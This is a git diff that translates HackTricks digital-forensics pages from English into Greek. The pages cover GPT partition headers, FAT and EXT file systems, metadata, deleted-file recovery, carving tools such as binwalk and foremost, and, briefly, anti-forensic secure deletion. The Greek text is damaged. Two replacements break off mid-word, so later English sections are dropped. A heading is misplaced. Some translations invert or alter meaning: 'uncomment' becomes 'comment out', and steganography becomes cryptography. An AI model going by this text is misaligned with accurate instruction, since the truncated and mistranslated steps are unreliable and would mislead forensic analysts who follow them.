![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**Hybrid MBR (LBA 0 + GPT)**
|
||||
**Υβριδικό MBR (LBA 0 + GPT)**
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes.
|
||||
Σε λειτουργικά συστήματα που υποστηρίζουν την εκκίνηση βασισμένη σε GPT μέσω των υπηρεσιών BIOS αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση του πρώτου σταδίου του κώδικα του **εκκινητή**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο εκκινητής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes.
|
||||
|
||||
**Partition table header (LBA 1)**
|
||||
**Κεφαλίδα πίνακα κατατμήσεων (LBA 1)**
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table).
|
||||
Η κεφαλίδα του πίνακα κατατμήσεων καθορίζει τα χρήσιμα μπλοκ στο δίσκο. Καθορίζει επίσης τον αριθμό και το μέγεθος των καταχωρήσεων κατατμήσεων που αποτελ
|
||||
## Συστήματα Αρχείων
|
||||
|
||||
| Offset | Length | Contents |
|
||||
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)on little-endian machines) |
|
||||
| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation |
|
||||
| 20 (0x14) | 4 bytes | Reserved; must be zero |
|
||||
| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) |
|
||||
| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) |
|
||||
| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) |
|
||||
| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) |
|
||||
| 56 (0x38) | 16 bytes | Disk GUID in mixed endian |
|
||||
| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) |
|
||||
| 80 (0x50) | 4 bytes | Number of partition entries in array |
|
||||
| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) |
|
||||
| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian |
|
||||
| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) |
|
||||
|
||||
**Partition entries (LBA 2–33)**
|
||||
|
||||
| GUID partition entry format | | |
|
||||
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Length | Contents |
|
||||
| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) |
|
||||
| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) |
|
||||
| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) |
|
||||
| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) |
|
||||
| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) |
|
||||
|
||||
**Partitions Types**
|
||||
|
||||
![](<../../../.gitbook/assets/image (492).png>)
|
||||
|
||||
More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
### Inspecting
|
||||
|
||||
After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty).
|
||||
|
||||
## File-Systems
|
||||
|
||||
### Windows file-systems list
|
||||
### Λίστα συστημάτων αρχείων των Windows
|
||||
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
|
@ -165,98 +114,44 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI
|
|||
|
||||
### FAT
|
||||
|
||||
The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process.
|
||||
Το σύστημα αρχείων **FAT (File Allocation Table)** σχεδιάστηκε γύρω από τον πυρήνα του, τον πίνακα εκχώρησης αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, εξασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν ένα από αυτά καταστραφεί. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκονται σε μια **σταθερή θέση**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
|
||||
|
||||
The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions:
|
||||
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που αποτελείται από πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω των εκδόσεων:
|
||||
|
||||
- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX).
|
||||
- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters.
|
||||
- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume.
|
||||
- **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12-bit και διαχειριζόμενος έως 4078 clusters (4084 με UNIX).
|
||||
- **FAT16**, προχωρώντας σε 16-bit διευθύνσεις, επιτρέποντας έως 65.517 clusters.
|
||||
- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268.435.456 clusters ανά όγκο.
|
||||
|
||||
A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage.
|
||||
Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις του FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το πεδίο 32-bit που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
|
||||
|
||||
Key components of the root directory, particularly for FAT12 and FAT16, include:
|
||||
Κύρια στοιχεία του ριζικού φακέλου, ιδιαίτερα για τα FAT12 και FAT16, περιλαμβάνουν:
|
||||
|
||||
- **File/Folder Name** (up to 8 characters)
|
||||
- **Attributes**
|
||||
- **Creation, Modification, and Last Access Dates**
|
||||
- **FAT Table Address** (indicating the start cluster of the file)
|
||||
- **File Size**
|
||||
- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
|
||||
- **Χαρακτηριστικά**
|
||||
- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
|
||||
- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει τον αρχικό cluster του αρχείου)
|
||||
- **Μέγεθος Αρχείου**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**.
|
||||
Το **Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη-καταγραφή** διαμερίσματα (**διαμερίσματα που δεν αλλάζουν πολύ**) όπως το διαμέρισμα εκκίνησης. Τα **Ext3/4** είναι **καταγραφής** και χρησιμοποιούνται συνήθως για τα **υπόλοιπα διαμερίσματα**.
|
||||
|
||||
## **Metadata**
|
||||
## **Μεταδεδομένα**
|
||||
|
||||
Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like:
|
||||
Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου, το οποίο μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να περιέχει πληροφορίες όπως:
|
||||
|
||||
* Title
|
||||
* MS Office Version used
|
||||
* Author
|
||||
* Dates of creation and last modification
|
||||
* Model of the camera
|
||||
* GPS coordinates
|
||||
* Image information
|
||||
* Τίτλος
|
||||
* Έκδοση MS Office που χρησιμοποιήθηκε
|
||||
* Συγγραφέας
|
||||
* Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης
|
||||
* Μοντέλο της κάμερας
|
||||
* Γεωγραφικές συντεταγμένες GPS
|
||||
* Πληροφορίες εικόνας
|
||||
|
||||
You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file.
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να λάβετε τα μεταδεδομένα ενός αρχείου.
|
||||
|
||||
## **Deleted Files Recovery**
|
||||
## **Ανάκτηση Διαγραμμένων Αρχείων**
|
||||
|
||||
### Logged Deleted Files
|
||||
### Καταγεγραμμένα Διαγραμμένα Αρχεία
|
||||
|
||||
As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files.
|
||||
|
||||
Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **File Carving**
|
||||
|
||||
**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself.
|
||||
|
||||
Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it.
|
||||
|
||||
There are several tools that you can use for file Carving indicating the file types you want to search for
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Data Stream **C**arving
|
||||
|
||||
Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\
|
||||
For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Secure Deletion
|
||||
|
||||
Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\
|
||||
You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them.
|
||||
|
||||
## References
|
||||
|
||||
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Όπως είδαμε προηγουμένως, υπάρχουν αρκετά μέρη όπου το αρχείο εξακολουθεί να αποθηκεύεται αφού έχει "διαγραφεί". Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημαίνει ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έπειτα, είναι δυνατόν να επιθεω
|
||||
|
|
|
@ -1,136 +1,124 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
# Carving & Recovery tools
|
||||
# Εργαλεία Carving & Recovery
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
## Autopsy
|
||||
|
||||
The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files.
|
||||
Το πιο κοινό εργαλείο που χρησιμοποιείται στην αντιμετώπιση παραβιάσεων για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρει "κρυφά" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
|
||||
|
||||
## Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Useful commands**:
|
||||
Το **Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για την εύρεση ενσωματωμένου περιεχομένου. Μπορεί να εγκατασταθεί μέσω `apt` και ο πηγαίος κώδικας του βρίσκεται στο [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Χρήσιμες εντολές**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
|
||||
## Foremost
|
||||
|
||||
Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types.
|
||||
|
||||
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρυθμίσεων του foremost στη διαδρομή `/etc/foremost.conf`. Εάν θέλετε απλά να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο στις αντίστοιχες γραμμές. Εάν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους τύπους αρχείων που έχουν προκαθοριστεί ως προεπιλογή.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract.
|
||||
|
||||
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα πρέπει να καταργήσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
|
||||
## Bulk Extractor
|
||||
|
||||
This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do:
|
||||
Αυτό το εργαλείο περιλαμβάνεται στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτήν, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Απλά πρέπει να κάνετε:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
||||
Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**).
|
||||
Περιηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **περίεργους τομείς** (τομείς που σχετίζονται με **κακόβουλο λογισμικό** ή **μη υπαρκτούς**).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for.
|
||||
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε το PhotoRec να αναζητήσει.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
## binvis
|
||||
|
||||
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
|
||||
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και το [εργαλείο στην ιστοσελίδα](https://binvis.io/#/).
|
||||
|
||||
### Features of BinVis
|
||||
### Χαρακτηριστικά του BinVis
|
||||
|
||||
* Visual and active **structure viewer**
|
||||
* Multiple plots for different focus points
|
||||
* Focusing on portions of a sample
|
||||
* **Seeing stings and resources**, in PE or ELF executables e. g.
|
||||
* Getting **patterns** for cryptanalysis on files
|
||||
* **Spotting** packer or encoder algorithms
|
||||
* **Identify** Steganography by patterns
|
||||
* **Visual** binary-diffing
|
||||
* Οπτικός και ενεργός **προβολέας δομής**
|
||||
* Πολλαπλά γραφήματα για διάφορα σημεία εστίασης
|
||||
* Εστίαση σε μέρη ενός δείγματος
|
||||
* **Προβολή συμβολοσειρών και πόρων**, σε εκτελέσιμα αρχεία PE ή ELF, για παράδειγμα
|
||||
* Λήψη **μοτίβων** για κρυπτοανάλυση αρχείων
|
||||
* **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης
|
||||
* **Αναγνώριση** κρυπτογραφίας με βάση μοτίβα
|
||||
* **Οπτική** σύγκριση δυαδικών αρχείων
|
||||
|
||||
BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario.
|
||||
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να γνωρίσετε έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού.
|
||||
|
||||
# Specific Data Carving Tools
|
||||
# Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων
|
||||
|
||||
## FindAES
|
||||
|
||||
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
|
||||
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα προγραμματισμού τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
|
||||
|
||||
Download [here](https://sourceforge.net/projects/findaes/).
|
||||
Κατεβάστε το [εδώ](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Complementary tools
|
||||
# Συμπληρωματικά εργαλεία
|
||||
|
||||
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
|
||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
|
||||
Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
|
||||
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
